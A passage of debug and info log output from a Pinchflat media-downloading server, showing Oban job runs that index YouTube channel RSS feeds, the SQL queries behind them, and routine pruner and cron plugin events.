(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 01:45:01.749 [debug] QUERY OK source="media_items" db=1.7ms idle=126.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 01:45:01.749 [debug] QUERY OK source="tasks" db=0.0ms idle=128.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [501, 3, ~U[2026-07-24 01:45:01Z], ~U[2026-07-24 01:45:01Z]] 01:45:01.750 [info] {"args":{"id":3},"id":498,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":129668,"event":"job:stop","queue_time":522174,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 01:45:25.210 [info] {"source":"oban","duration":546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:45:55.211 [info] {"source":"oban","duration":456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:46:00.837 [info] {"source":"oban","duration":253,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:46:25.212 [info] {"source":"oban","duration":723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:46:55.214 [info] {"source":"oban","duration":552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:47:00.838 [info] {"source":"oban","duration":241,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:47:25.215 [info] {"source":"oban","duration":455,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:47:55.216 [info] {"source":"oban","duration":488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:48:00.839 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:48:25.217 [info] {"source":"oban","duration":508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:48:55.218 [info] {"source":"oban","duration":446,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:49:00.840 [info] {"source":"oban","duration":371,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:49:25.219 [info] {"source":"oban","duration":737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:49:55.221 [info] {"source":"oban","duration":441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:50:00.841 [info] {"source":"oban","duration":335,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:50:25.222 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:50:26.862 [debug] Tzdata polling for update. 01:50:27.058 [debug] Tzdata polling shows the loaded tz database is up to date. 01:50:46.990 [info] {"args":{"id":1},"id":500,"meta":{},"system_time":1784857846990312020,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 01:50:46.990 [info] {"args":{"id":2},"id":499,"meta":{},"system_time":1784857846990246923,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 01:50:46.990 [debug] QUERY OK source="sources" db=0.1ms idle=1930.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 01:50:46.990 [debug] QUERY OK source="sources" db=0.1ms idle=1930.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 01:50:46.990 [debug] QUERY OK source="settings" db=0.0ms idle=1008.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:50:46.990 [debug] QUERY OK source="settings" db=0.1ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:50:46.991 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 01:50:46.991 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 01:50:46.991 [debug] QUERY OK source="settings" db=0.2ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:50:46.991 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 01:50:46.991 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:50:46.991 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 01:50:47.132 [debug] Media ids fetched from RSS: ["WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 01:50:47.132 [debug] QUERY OK source="media_items" db=0.2ms idle=141.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 01:50:47.134 [debug] QUERY OK source="media_items" db=2.0ms idle=141.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 01:50:47.135 [debug] QUERY OK source="tasks" db=0.0ms idle=144.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [502, 1, ~U[2026-07-24 01:50:47Z], ~U[2026-07-24 01:50:47Z]] 01:50:47.135 [info] {"args":{"id":1},"id":500,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":145375,"event":"job:stop","queue_time":141914,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 01:50:47.294 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 01:50:47.295 [debug] QUERY OK source="media_items" db=0.4ms idle=159.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 01:50:47.296 [debug] QUERY OK source="media_items" db=0.3ms idle=160.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 01:50:47.296 [debug] QUERY OK source="tasks" db=0.0ms idle=154.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [503, 2, ~U[2026-07-24 01:50:47Z], ~U[2026-07-24 01:50:47Z]] 01:50:47.296 [info] {"args":{"id":2},"id":499,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":306480,"event":"job:stop","queue_time":211898,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 01:50:55.223 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:51:00.842 [info] {"source":"oban","duration":159,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:51:25.225 [info] {"source":"oban","duration":459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:51:55.226 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:52:00.842 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:52:25.227 [info] {"source":"oban","duration":803,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:52:55.229 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:53:00.844 [info] {"source":"oban","duration":183,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:53:25.230 [info] {"source":"oban","duration":494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:53:55.231 [info] {"source":"oban","duration":358,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:54:00.845 [info] {"source":"oban","duration":255,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:54:25.232 [info] {"source":"oban","duration":444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:54:55.233 [info] {"source":"oban","duration":575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:55:00.846 [info] {"source":"oban","duration":203,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:55:02.264 [info] {"args":{"id":3},"id":501,"meta":{},"system_time":1784858102264356830,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 01:55:02.264 [debug] QUERY OK source="sources" db=0.1ms idle=1203.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 01:55:02.264 [debug] QUERY OK source="settings" db=0.0ms idle=1008.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:55:02.264 [debug] QUERY OK source="media_profiles" db=0.0ms idle=203.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 01:55:02.265 [debug] QUERY OK source="settings" db=0.0ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:55:02.265 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 01:55:02.395 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 01:55:02.396 [debug] QUERY OK source="media_items" db=0.6ms idle=131.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 01:55:02.399 [debug] QUERY OK source="media_items" db=3.3ms idle=131.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 01:55:02.400 [debug] QUERY OK source="tasks" db=0.0ms idle=135.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [504, 3, ~U[2026-07-24 01:55:02Z], ~U[2026-07-24 01:55:02Z]] 01:55:02.400 [info] {"args":{"id":3},"id":501,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":136356,"event":"job:stop","queue_time":514585,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 01:55:25.235 [info] {"source":"oban","duration":429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:55:55.236 [info] {"source":"oban","duration":481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:56:00.847 [info] {"source":"oban","duration":209,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:56:25.237 [info] {"source":"oban","duration":494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:56:55.238 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:57:00.848 [info] {"source":"oban","duration":328,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:57:25.239 [info] {"source":"oban","duration":523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:57:55.240 [info] {"source":"oban","duration":530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:58:00.849 [info] {"source":"oban","duration":348,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:58:25.241 [info] {"source":"oban","duration":596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:58:55.243 [info] {"source":"oban","duration":558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:59:00.850 [info] {"source":"oban","duration":286,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:59:25.244 [info] {"source":"oban","duration":438,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:59:55.245 [info] {"source":"oban","duration":335,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:00:00.851 [info] {"source":"oban","duration":723,"event":"plugin:stop","jobs":[505],"plugin":"Oban.Plugins.Cron"} 02:00:00.857 [info] {"args":{},"id":505,"meta":{"cron":true,"cron_expr":"0 2 * * *","cron_tz":"Etc/UTC"},"system_time":1784858400857204127,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaQualityUpgradeWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 02:00:00.860 [debug] QUERY OK source="media_items" db=3.3ms idle=1796.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((NOT (m0."media_filepath" IS NULL) AND NOT (m0."prevent_download" = 1)) AND NOT (NOT (m0."media_redownloaded_at" IS NULL))) AND IFNULL(redownload_delay_days, 0) > 0 AND DATE('now', '-' || redownload_delay_days || ' day') > DATE(uploaded_at) AND DATE(media_downloaded_at, '-' || redownload_delay_days || ' day') < DATE(uploaded_at) ) [] 02:00:00.860 [info] Redownloading 0 media items 02:00:00.861 [info] {"args":{},"id":505,"meta":{"cron":true,"cron_expr":"0 2 * * *","cron_tz":"Etc/UTC"},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaQualityUpgradeWorker","source":"oban","duration":3764,"event":"job:stop","queue_time":856777,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 02:00:25.246 [info] {"source":"oban","duration":470,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:00:47.635 [info] 